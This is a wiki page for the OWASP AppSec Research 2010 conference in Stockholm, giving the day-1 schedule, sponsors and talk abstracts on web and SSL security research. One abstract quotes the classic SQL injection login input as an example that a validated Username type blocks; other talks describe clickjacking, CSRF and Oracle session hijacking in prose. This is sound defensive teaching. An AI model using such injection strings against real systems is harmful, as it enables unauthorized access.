'''Trainer Bio''': Jason Li is a Senior Application Security Engineer for Aspect Security where he performs application security assessments and architecture reviews, as well as application security training, to a wide variety of financial and government customers. Jason is an active OWASP leader, contributing to several OWASP projects and serving on the OWASP Global Projects Committee. He holds a Post-Masters certificate in Computer Science and concentration in Information Security from Johns Hopkins University and a Masters degree in Computer Science from Cornell University. <br />
<br />
==== June 23 ====<br />
<br />
{| border="0" align="center" style="width: 80%;"<br />
|-<br />
| align="center" colspan="4" style="background: none repeat scroll 0% 0% rgb(64, 88, 160); color: white;" | '''Conference Day 1 - June 23, 2010''' <br />
[[Image:OWASP AppSec Research 2010 Research R.gif]] = Research paper [[Image:OWASP AppSec Research 2010 Demo D.gif]] = Demo [[Image:OWASP AppSec Research 2010 Presentation P.gif]] = Presentation <br />
<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | <br> <br />
| style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);" | Track 1 <br />
| style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);" | Track 2 <br />
| style="width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);" | Track 3<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 08:00-08:50 <br />
| align="left" colspan="3" style="width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);" | Registration and Breakfast + Coffee<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 08:50-09:00 <br />
| align="center" colspan="3" style="width: 80%; background: none repeat scroll 0% 0% rgb(242, 242, 242);" | Welcome to OWASP AppSec Research 2010 Conference (John Wilander &amp; [http://www.owasp.org/index.php/About_OWASP OWASP Global Board Members]) ([[Media:OWASP_AppSec_Research_2010_Opening_Talk_by_Wilander.pdf|pdf]])<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 09:00-10:00 <br />
| align="center" colspan="3" style="width: 80%; background: none repeat scroll 0% 0% rgb(252, 252, 150);" | [[#Keynote: Cross-Domain Theft and the Future of Browser Security]] ([[Media:OWASP_AppSec_Research_2010_Keynote_1_by_Evans_and_Fette.pdf|pdf]]) ([http://owasp.blip.tv/file/3917599/ video])<br />
''Chris Evans, Information Security Engineer, and Ian Fette, Product Manager for Chrome Security, Google'' <br />
<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 10:10-10:45 <br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);" | [[Image:OWASP AppSec Research 2010 Research R.gif]] [[#BitFlip: Determine a Data's Signature Coverage from Within the Application]] ([[Media:OWASP_AppSec_Research_2010_BitFlip_by_Poehls.pdf|pdf]]) ([http://owasp.blip.tv/file/3917734/ video])<br />
''Henrich Christopher Poehls, University of Passau''<br> <br />
<br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);" | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#CsFire: Browser-Enforced Mitigation Against CSRF]] ([[Media:OWASP_AppSec_Research_2010_CsFire_by_Desmet_and_DeRyck.pdf|pdf]]) ([http://owasp.blip.tv/file/3917849/ video])<br />
''Lieven&nbsp;Desmet&nbsp;and&nbsp;Philippe&nbsp;De&nbsp;Ryck,&nbsp;Katholieke Universiteit Leuven''<br> <br />
<br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);" | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Deconstructing ColdFusion]] ([[Media:OWASP_AppSec_Research_2010_Deconstructing_ColdFusion_by_Eng.pdf|pdf]]) ([http://owasp.blip.tv/file/3917750/ video])<br />
''Chris Eng,&nbsp;Veracode'' <br />
<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 10:45-11:10 <br />
| align="left" colspan="3" style="width: 90%; background: none repeat scroll 0% 0% rgb(194, 194, 194);" | Break - Expo - CTF kick-off, '''Coffee break sponsoring position open''' ($2,000)<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 11:10-11:45 <br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);" | [[Image:OWASP AppSec Research 2010 Research R.gif]] [[#Towards Building Secure Web Mashups]] ([[Media:OWASP_AppSec_Research_2010_Secure_Mashups_by_DeRyck.pdf|pdf]]) ([http://owasp.blip.tv/file/3918092/ video])<br />
''M Decat, P De Ryck, L Desmet, F Piessens, W Joosen,&nbsp;Katholieke Universiteit Leuven'' <br />
<br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);" | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#New Insights into Clickjacking]] ([[Media:OWASP_AppSec_Research_2010_Clickjacking_by_Balduzzi.pdf|pdf]]) ([http://owasp.blip.tv/file/3918233/ video])<br />
''Marco Balduzzi,&nbsp;Eurecom<br><br>''<br />
<br />
<br> <br />
<br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);" | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#How to Render SSL Useless]] ([[Media:Ivan_Ristic_-_Breaking_SSL_-_OWASP.pdf|pdf]]) ([http://owasp.blip.tv/file/3918288/ video])<br />
''Ivan Ristic, Qualys<br>'' <br />
<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 11:55-12:30 <br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);" | <br />
[[Image:OWASP AppSec Research 2010 Research R.gif]] [[#Busting Frame Busting]] ([[Media:OWASP_AppSec_Research_2010_Busting_Frame_Busting_by_Rydstedt.pdf|pdf]]) ([http://owasp.blip.tv/file/3918217/ video])<br />
<br />
''Gustav Rydstedt,&nbsp;Stanford Web Security Research''<br> <br />
<br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);" | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Web Frameworks and How They Kill Traditional Security Scanning]] ([[Media:OWASP_AppSec_Research_2010_Frameworks_Security_by_Hang.pdf|pdf]]) ([http://owasp.blip.tv/file/3917978/ video])<br />
''Christian Hang and Lars Andren,&nbsp;Armorize Technologies'' <br />
<br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);" | [[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#The State of SSL in the World]] ([[Media:OWASP_AppSec_Research_2010_State_of_SSL_by_Boman.pdf|pdf]]) ([http://owasp.blip.tv/file/3917760/ video without sound :(])<br />
''Michael Boman, Omegapoint<br>'' <br />
<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 12:30-13:45 <br />
| align="left" colspan="3" style="width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);" | Lunch - Expo - CTF, Lunch sponsor: [[Image:OWASP AppSec Research 2010 IIS logo for program.png]]<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 13:45-14:20 <br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);" | [[Image:OWASP AppSec Research 2010 Research R.gif]] [[#(New) Object Capabilities and Isolation of Untrusted Web Applications]] ([[Media:OWASP_AppSec_Research_2010_Obj_Capabilities_by_Maffeis.pdf|pdf]]) ([http://owasp.blip.tv/file/3918179/ video])<br />
''Sergio Maffeis, Imperial College, London'' <br />
<br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);" | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Beyond the Same-Origin Policy]] ([[Media:OWASP_AppSec_Research_2010_Beyond_SOP_by_Nagra_and_Samuel.pdf|pdf]]) ([http://owasp.blip.tv/file/3917705/ video])<br />
''Jasvir Nagra and Mike Samuel, Google<br>'' <br />
<br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);" | [[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#SmashFileFuzzer - a New File Fuzzer Tool]] ([[Media:OWASP_AppSec_Research_2010_Smash_File_Fuzzer_by_Randive.pdf|pdf]]) ([http://owasp.blip.tv/file/3917961/ video])<br />
''Komal Randive, Symantec'' <br />
<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 14:30-15:05 <br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);" | [[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#Security Toolbox for .NET Development and Testing]] ([[Media:OWASP_AppSec_Research_2010_NET_Toolbox_by_Lindfors_and_Konig.pdf|pdf]]) ([http://owasp.blip.tv/file/3917695/ video])<br />
''Johan Lindfors and Dag König, Microsoft'' <br />
<br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);" | [[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#Cross-Site Location Jacking (XSLJ) (not really)]] ([[Media:OWASP_Appsec_Research_2010_Redirects_XSLJ_by_Sirdarckcat_and_Thornmaker.pdf|pdf]]) ([http://owasp.blip.tv/file/3917823/ video])<br />
''David Lindsay, Cigital<br>Eduardo Vela Nava,&nbsp;sla.ckers.org''<br />
<br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);" | [[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#Owning Oracle: Sessions and Credentials]] ([[Media:OWASP_AppSec_Research_2010_Owning_Oracle_by_Henrique_and_Ocepek.pdf|pdf]]) ([http://owasp.blip.tv/file/3917882/ video])<br />
''Wendel G. Henrique and Steve Ocepek, Trustwave'' <br />
<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 15:05-15:30 <br />
| align="left" colspan="3" style="width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);" | Break - Expo - CTF, '''Coffee break sponsoring position open''' ($2,000)<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 15:30-16:05 <br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);" | [[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#Value Objects a la Domain-Driven Security: A Design Mindset to Avoid SQL Injection and Cross-Site Scripting]] ([[Media:OWASP_AppSec_Research_2010_VOs_a_la_DDS_by_Johnsson.pdf|pdf]]) ([http://owasp.blip.tv/file/3918040/ video])<br />
''Dan Bergh Johnsson, Omegapoint'' <br />
<br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);" | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Automated vs. Manual Security: You Can't Filter "The Stupid"]] (pdf not available yet) ([http://owasp.blip.tv/file/3917807/ video])<br><br />
''David Byrne and Charles Henderson, Trustwave''<br />
<br />
| align="left" style="width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);" | [[Image:OWASP AppSec Research 2010 Research R.gif]] [[#Session Fixation - the Forgotten Vulnerability?]] ([[Media:OWASP_AppSec_Research_2010_Session_Fixation_by_Schrank_Braun_Johns_and_Poehls.pdf|pdf]]) ([http://owasp.blip.tv/file/3918310/ video])<br />
''Michael Schrank and Bastian Braun, University of Passau<br>Martin Johns, SAP Research'' <br />
<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 16:15-17:00 <br />
| align="center" colspan="3" style="width: 90%; background: none repeat scroll 0% 0% rgb(242, 242, 242);" | Panel Discussion: "Is Application Security a Losing Battle?" ([http://owasp.blip.tv/file/3918133/ video, partly poor sound])<br />
|-<br />
| style="width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);" | 19:00-23:00 <br />
| align="center" colspan="1" style="background: none repeat scroll 0% 0% rgb(43, 58, 109);" | [[Image:OWASP_AppSec_Research_2010_Stockholm_City_Hall_exterior_small.jpg|Stockholm City Hall, photo by Yanan Li]]<br />
| align="center" colspan="1" style="background: none repeat scroll 0% 0% rgb(43, 58, 109); color: white;" | '''Gala Dinner''' at [http://international.stockholm.se/Tourism-and-history/The-Famous-City-Hall/Pictures-of-the-City-Hall/ <span style="color:rgb(163, 178, 229);">Stockholm City Hall<span>]<br>Sponsored by<br>[[Image:OWASP AppSec Research 2010 Google logo for program.png]] <br />
| align="center" colspan="1" style="background: none repeat scroll 0% 0% rgb(43, 58, 109);" | [[Image:OWASP_AppSec_Research_2010_Stockholm_City_Hall_Golden_Hall_small.jpg|The Golden Hall, photo by Yanan Li]]<br />
|}<br />
<center><br />
[[Image:AppSec Research 2010 Microsoft diamond sponsor.jpg|250px|Microsoft - Diamond Sponsor]] [[Image:AppSec Research 2010 Google 20k sponsor.jpg|150px|Google - Dinner Party and Expo Sponsor]] [[Image:Portwise logo.png|130px|PortWise - Gold and Badge Sponsor]] [[Image:Cybercom logo.png|100px|Cybercom - Gold Sponsor]] [[Image:Fortify logo AppSec Research 2010.png|120px|Fortify - Gold Sponsor]] [[Image:Omegapoint logo.png|110px|Omegapoint - Gold Sponsor]] [[Image:Mnemonic logo.png|100px|Mnemonic - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor Nixu logo.jpg|100px|NIXU - Silver Sponsor]] [[Image:Hps_logo.png|140px|High Performance Systems - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor F5 logo.jpg|70px|F5 - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor Imperva logo.jpg|100px|Imperva - Silver Sponsor]] [[Image:AppSec_Research_2010_sponsor_Promon_logo.jpg|100px|Promon - Silver Sponsor]] [[Image:IIS logo.png|100px|Stiftelsen för Internetinfrastruktur - Lunch Sponsor]] [[Image:MyNethouse logo.png|100px|MyNethouse - Coffee Break Sponsor]] [[Image:AppSec Research 2010 Help Net Security sponsor.jpg|100px|Help Net Security - Media Sponsor]] [[Image:TrustwaveLogo.jpg|100px|Trustwave - Notepad sponsor]]<br />
</center><br />
<br />
== Keynote: Cross-Domain Theft and the Future of Browser Security ==<br />
<br />
[[Image:Appsec research 2010 invited talk 1.jpg]] <br />
<br />
'''Chris Evans'''<br> Troublemaker, Information Security Engineer, and Tech Lead at Google inc.<br> Also the sole author of vsftpd. <br />
<br />
'''Ian Fette'''<br> Product Manager for Chrome Security and Google's Anti-Malware initiative <br />
<br />
'''Abstract'''<br> The web browser, and associated machinery, is on the front line of attacks. We will first look at design-level problems with the traditional browser in terms of monolithic architecture and fundamental problems with the same-origin policy. We will then look at the types of solution that are starting to appear in browsers such as Google Chrome and Internet Explorer. We will look at other important browser-based defenses such as Safe Browsing. We will detail what a future browser might look like that has a much more secure design, but is still usable on the wide variety of web sites that people use daily. <br />
<br />
== DAY 1, TRACK 1 ==<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] BitFlip: Determine a Data's Signature Coverage from Within the Application ===<br />
<br />
''Henrich Christopher Poehls, University of Passau - ISL'' <br />
<br />
Despite applied cryptographic primitives applications are working on data that was not protected by them. We show by abstracting the message flow between the application and the underlying wire, that protection is applied to a different data model. Taking problems from real life, like XML wrapping attacks and digital signatures on XML, we show that establishing the right linkage between the security checked on lower levels and the application above is practically difficult. We propose a application controlled check, the BitFlip-test. By this simple test an application can test if the application's assumed protection of a data value was indeed provided by the digital signature applied to the message that contained the value. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] Towards Building Secure Web Mashups ===<br />
<br />
''Maarten Decat, Philippe De Ryck, Lieven Desmet, Frank Piessens, and Wouter Joosen, Katholieke Universiteit Leuven'' <br />
<br />
Web mashups combine components from multiple sources into a single, interactive application. This kind of setup typically requires both interaction between the components to achieve the necessary functionality, as well as component separation to achieve a secure execution. Unfortunately, the traditional web is not designed to easily fulfill both requirements, which can be seen in the restrictions imposed by traditional development techniques. This paper gives an overview of these traditional techniques and investigates new developments, specifically aimed at combining components in a secure manner. In addition, topics for further improvement are identified to ensure a wide adaptation of secure mashups. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] Busting Frame Busting ===<br />
<br />
''Gustav Rydstedt, Stanford Web Security Research''<br><br />
Joint work with Elie Bursztein, Dan Boneh, and Collin Jackson.<br />
<br />
Web framing attacks such as clickjacking use iframes to hijack a user's web session. The most common defense, called frame busting, prevents a site from functioning when loaded inside a frame. We study frame busting practices for the Alexa Top-500 sites and show that all can be circumvented in one way or another. Some circumventions are browser-specific while others work across browsers. We conclude with recommendations for proper frame busting.<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] (New) Object Capabilities and Isolation of Untrusted Web Applications ===<br />
<br />
''Sergio Maffeis, Imperial College, London'' <br />
<br />
The object-capability model provides an appealing approach for isolating untrusted content in mashups: if untrusted applications are provided disjoint capabilities they still can interact with the user or the hosting page, but they cannot directly interfere with each other. We develop language-based foundations for isolation proofs based on object-capability concepts, and we show the applicability of our framework for a specific class of mashups. As an application, we prove that a JavaScript subset based on Google Caja is capability safe.<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] Security Toolbox for .NET Development and Testing ===<br />
<br />
''Johan Lindfors and Dag König, Microsoft'' <br />
<br />
Being a developer on the Microsoft platform leveraging .NET doesn’t only involve keeping up with the continuous development of the underlying framework and technologies. It also means to be on top of the latest security threats and naturally the available mitigations and best practices to protect the customers and users of the applications and solutions being developed. <br />
<br />
In this session we will demonstrate how you as a .NET developer can leverage existing tools and technologies to build safer applications. During the demonstrations you will get more familiar with the existing tools within Visual Studio but also be introduced and educated in more tools that will help you build a toolbox for secure development and security testing. <br />
<br />
But one must also remember that tools will never replace knowledge and hence we will also show you how you can regularly get updated with the latest information from Microsoft on security including how to leverage SDL – Security Development Lifecycle, within your own projects. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] Value Objects a la Domain-Driven Security: A Design Mindset to Avoid SQL Injection and Cross-Site Scripting ===<br />
<br />
''Dan Bergh Johnsson, Omegapoint'' <br />
<br />
SQL Injection and Cross-Site Scripting have been topping the OWASP Top Ten for the last years. It must be a top priority for the community to evolve designs and mindsets that help the programmers to avoid these traps in their day-to-day work, where they have so much else but security that calls for their attention. The ambition of this presentation is to show design and coding practices that are well established in other fields of software development and put them to use to avoid just-mentioned traps. We also show some small refactorings that can be immediately applied to an existing codebase to make significant improvements to its security. Attendants of the session should be able to go back to work Monday morning and finish an improvement in this style before Monday lunch. <br />
<br />
We take inspiration from Domain Driven Design (DDD), which is characterized by its focus on what the software intend to represent. In particular, we make heavy use of the Value Object design pattern, where strict typing help us enforce that the incoming data is truthful to the restrictions of the domain. We start out with Injection Flaws and use the canonical username SQL Injection attack (“’OR 1=1 --“) as an example. Realizing that mentioned string was not intended as a valid username we elaborate the model to reflect this. Further more we make this change explicit in the code by introducing the new type and class Username. This also gives a natural place to put validation code, which otherwise often is placed in utility classes where it is easily forgotten and seldom called. In fact, we can even design service methods to require a validated Username, thus using the strong typing to enforce validation in the calling client system tier. <br />
<br />
Making this re-design with associated code changes is performed as a demo, and en route we discuss other design options and their relative merits and drawbacks. Again using DDD we proceed to analyse XSS. In the same way we see that XSS is in the general case not an indata validation problem. An extended analysis proposes that it can be phrased as an output-encoding problem. Using a similar technique we model the target domain of web content as the new type HTMLString, and can thereby enforce conversion from ordinary strings to strings with the proper encoding. If you have multiple content channels, then each channel will. <br />
<br />
All steps needed are shown in code, starting with a vulnerable application and through controlled refactoring steps ending up with a version without the vulnerability. In summary, we will take an established quality practice from another field of software development and use it to get security improvements. The main benefits are two: firstly, the method gently guides and reminds the programmers to include validation and encoding in an unobtrusive way. Secondly, the work can be performed in very small steps, where the first can be finished before lunch Monday after the conference. <br />
<br />
== DAY 1, TRACK 2 ==<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] CsFire: Browser-Enforced Mitigation Against CSRF ===<br />
<br />
''Lieven Desmet and Philippe De Ryck, Katholieke Universiteit Leuven'' <br />
<br />
Cross-Site Request Forgery (CSRF) is a web application attack vector that can be leveraged by an attacker to force an unwitting user's browser to perform actions on a third party website, possibly reusing all cached authentication credentials of that user. <br />
<br />
Currently, a whole range of techniques exist to mitigate CSRF, either by protecting the server application or by protecting the end-user. Unfortunately, the server-side protection mechanisms are not yet widely adopted, and the client-side solutions provide only limited protection or cannot deal with complex web 2.0 applications, which use techniques such as AJAX, mashups or single sign-on (SSO). <br />
<br />
In this talk, we will presents three interesting results of our research: (1) an extensive, real‐world traffic analysis to gain more insights in cross‐domain web interactions, (2) requirements for client‐side mitigation against CSRF and an analysis of existing browser extensions and (3) CsFire, our newly developed FireFox extension to mitigate CSRF. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Automated vs. Manual Security: You Can't Filter "The Stupid" ===<br />
<br />
''David Byrne and Charles Henderson, Trustwave'' <br />
<br />
Everyone wants to stretch their security budget, and automated application security tools are an appealing choice for doing so. However, manual security testing isn’t going anywhere until the HAL application scanner comes online. This presentation will use often humorous, real-world examples to illustrate the relative strengths and weaknesses of automated solutions and manual techniques. <br />
<br />
Automated tools certainly have some strengths (namely low incremental cost, detecting simple vulnerabilities, and performing highly repetitive tasks). In addition to preventing some attacks, WAFs also have advantages for some compliance frameworks. However, automated solutions are far from perfect. To begin with, there are entire classes of very important vulnerabilities that are theoretically impossible for automated software to detect (at least until HAL comes online). Examples include complex information leakage, race conditions, logic flaws, design flaws, subjective vulnerabilities such as CSRF, and multistage process attacks. <br />
<br />
Beyond that, there are many vulnerabilities that are too complicated or obscure to practically detect with an automated tool. Automated tools are designed to cover common application designs and platforms. Applications using an unusual layout or components will not be thoroughly protected by automated tools. Realistically, only the most vanilla of web applications written on common, simple platforms will receive solid code coverage from an automated tool. <br />
<br />
On the other hand, manual testing is far more versatile. An experienced penetration tester can identify complicated vulnerabilities in the same way that an attacker does. Specific, real-world examples of vulnerabilities only recognizable by humans will be provided. The diversity of vulnerabilities shown will clearly demonstrate that all applications have the potential for significant vulnerabilities not detectable by automated tools. <br />
<br />
Manual source code reviews present even more benefits by identifying vulnerabilities that require access to source code. Examples include “hidden” or unused application components, SQL injection with no evidence in the response, exotic injection attacks (e.g. mainframe session attacks), vulnerabilities in back-end systems, and intentional backdoors. Many organizations assume that this type of vulnerability is not a large threat, but source code can be obtained by disgruntled developers, by internal attackers when the repository isn’t properly secured, by exploiting platform bugs or path directory traversal attacks, and by external attackers using a Trojan horse or similar technique. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Web Frameworks and How They Kill Traditional Security Scanning ===<br />
<br />
''Christian Hang and Lars Andren, Armorize Technologies'' <br />
<br />
Modern web application frameworks present a challenge to static analysis technologies due to how they influence application behavior in ways not obvious from the source code. This prevents efficient security scanning and can cause up to 80% of total potential issues to remain undetected due to the incorrect framework handling. After explaining the underlying problems, we demonstrate in a real world walk through using code analysis to scan actual application code. By extending static analysis with new framework specific components, even applications using complex frameworks like Struts and Smarty can be inspected automatically and code coverage of security analysis can be greatly enhanced. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Beyond the Same-Origin Policy ===<br />
<br />
''Jasvir Nagra and Mike Samuel, Google Inc'' <br />
<br />
The same-origin policy has governed interaction between client-side code and user data since Netscape 2.0, but new development techniques are rendering it obsolete. Traditionally, a website consisted of server-side code written by trusted, in-house developers&nbsp;; and a minimum of client-side code written by the same in-house devs. The same-origin policy worked because it didn't matter whether code ran server-side or client-side&nbsp;; the user was interacting with code produced by the same organization. But today, complex applications are being written almost entirely in client-side code requiring developers to specialize and share code across organizational boundaries. <br />
<br />
This talk will explain how the same-origin policy is breaking down, give examples of attacks, discuss the properties that any alternative must have, introduce a number of alternative models being examined by the Secure EcmaScript committee and other standards bodies, demonstrate how they do or don't thwart these attacks, and discuss how secure interactive documents could open up new markets for web developers. We assume a basic familiarity with web application protocols&nbsp;: HTTP, HTML, JavaScript, CSS&nbsp;; and common classes of attacks&nbsp;: XSS, XSRF, Phishing. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] Cross-Site Location Jacking (XSLJ) (not really) ===<br />
<br />
''David Lindsay, Cigital Inc, and Eduardo Vela Nava sla.ckers.org'' <br />
<br />
Redirects are commonly used on many websites and are an integral part of many web frameworks. However, subtle and not so subtle issues can lead to security holes and privacy issues. In this presentation, we will discuss several high and low level issues related to redirects and demonstrate how the issues can be exploited. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] New Insights into Clickjacking ===<br />
<br />
''Marco Balduzzi, Eurecom'' <br />
<br />
Over the past year, clickjacking received extensive media coverage. News portals and security forums have been overloaded by posts claiming clickjacking to be the upcoming security threat. In a clickjacking attack, a malicious page is constructed (or a benign page is hijacked) to trick the user into performing unintended clicks that are advantageous for the attacker, such as propagating a web worm, stealing confidential information or abusing of the user session. In this talk, we formally define the problem and introduce our novel solution for automated detection of clickjacking attacks. We present the details of the system architecture and its implementation, and we evaluate the results we obtained from the analysis of over a million unique Internet pages. We conclude by discussing the clickjacking phenomenon and its future implications. <br />
<br />
== DAY 1, TRACK 3 ==<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Deconstructing ColdFusion ===<br />
<br />
''Chris Eng, Veracode'' <br />
<br />
This presentation is a technical survey of ColdFusion security, which will be of interest mostly to code auditors and penetration testers. We’ll cover the basics of ColdFusion markup, control flow, functions, and components and demonstrate how to identify common web application vulnerabilities at the source code level. We’ll also delve into ColdFusion J2EE internals, describing some of the unexpected properties we’ve observed while decompiling ColdFusion applications for static analysis. <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] How to Render SSL Useless ===<br />
<br />
''Ivan Ristic, Feisty Duck'' <br />
<br />
SSL is the technology that secures the Internet, but it is effective only when deployed properly. While the SSL protocol itself is very robust and easy to use, the same cannot be said for the usability of the complete ecosystem, which includes server configuration, certificates and application implementation details. In fact, SSL deployment is generally plagued with traps at every step of the way. As a result, too many web sites use insecure deployment practices that render SSL completely useless. In this talk I will present a list of top ten (or thereabout) deployment mistakes, based on my work on the SSL Labs assessment platform (https://www.ssllabs.com). <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] The State of SSL in the World ===<br />
<br />
''Michael Boman, Omegapoint'' <br />
<br />
What is the status of SSL deployments in Fortune 500 companies and the top 10'000 websites (according to Alexa)? While developing a tool that was needed to perform the test-case OWASP-CM-001 (Testing for SSL-TLS) it was noticed that some sites had very good SSL-configuration, sometimes unexpectedly, and some sites has very poor security configuration, even when you could expect the site to have good security standard. Does the organization behind the site has any bearing on how good the security standard the site has in regards to HTTPS-support and configuration? The talk will highlight the findings and the tools and process of obtaining the underlying data, while also trying to answer the questions: - How many of the Fortune 500 and Top 10'000 websites offer an HTTPS-enabled browser experience to their visitors? - How is the HTTPS-server configured in regards to SSL-protocols offered, key exchange and key lengths (bit-size)? - Are there any correlation between company size, industry or popularity and the HTTPS-enabled browsing experience and the HTTPS-configuration? <br />
<br />
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] SmashFileFuzzer - a New File Fuzzer Tool ===<br />
<br />
''Komal Randive, Symantec'' <br />
<br />
Here is a tool SmashFileFuzzer designed and developed to address the same problem with ease. SmashFileFuzzer understands the file formats and then user can specify the fields in the file to be fuzzed. SmashFileFuzzer acts on a sample file of the required format and generates multiple fuzzed file copies from this sample file. SmashFileFuzzer also has the support to add more custom file formats to be able to fuzz them, especially .dat formats. In comparison with the existing file fuzzers and frameworks this fuzzer has simple language for adding new formats, many more modes of fuzzing and attack oriented fuzzing. Following are the highlights of this fuzzer <br />
<br />
*Support to understand the file formats and fuzz specific fields with specified/random data <br />
*Understands the correlation between different fields and manipulates them in accordance with the fuzzed content. <br />
*Can generate valid fuzzed files even based on the partial format understanding. Only the portions of file format which are understood by the user can be used to generate valid fuzzed files. <br />
*Understands the custom formats for file types and also for the configuration files(e.g key value pair format or .dat formats) <br />
*Tool is designed to be easily extended for any new file formats <br />
*Fuzz strings are read from a dictionary file. Users can add application specific input string to this dictionary for testing. <br />
*It’s a unix shell based tool which can be easily scripted.<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] Owning Oracle: Sessions and Credentials ===<br />
<br />
''Wendel G. Henrique and Steve Ocepek, Trustwave'' <br />
<br />
In a world of free, ever-present encryption libraries, many penetration testers still find a lot of great stuff on the wire. Database traffic is a common favorite, and with good reason: when the data includes PAN, Track, and CVV, it makes you stop and wonder why this stuff isn’t encrypted across the board. However, despite this weakness, we still need someone to issue queries before we see the data. Or maybe not… after all, it’s just plaintext. <br />
<br />
Wendel G. Henrique and Steve Ocepek of Trustwave’s SpiderLabs division offer a closer look at the world’s most popular relational database: Oracle. Through a combination of downgrade attacks and session take-over exploits, this talk introduces a unique approach to database account hijacking. Using a new tool, thicknet, the team will demonstrate how deadly injection and downgrade attacks can be to database security. <br />
<br />
The Oracle TNS/Net8 protocol was studied extensively during presentation for this talk. Very little public knowledge of this protocol exists today, and much of the data gained is, as far as we know, new to Oracle outsiders. <br />
<br />
Also, during the presentation we will be offering to attendants: <br />
<br />
*Knowledge about man-in-the-middle and downgrade attacks, especially the area of data injection. <br />
*A better understanding of the network protocol used by Oracle. <br />
*The ability to audit databases against this type of attack vector. <br />
*Ideas for how to prevent this type of attack, and an understanding of the value of encryption and digital signature technologies. <br />
*Understanding of methodologies used to reverse-engineer undocumented protocols.<br />
<br />
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] Session Fixation - the Forgotten Vulnerability? ===<br />
<br />
''Michael Schrank and Bastian Braun, University of Passau, and Martin Johns, SAP Research'' <br />
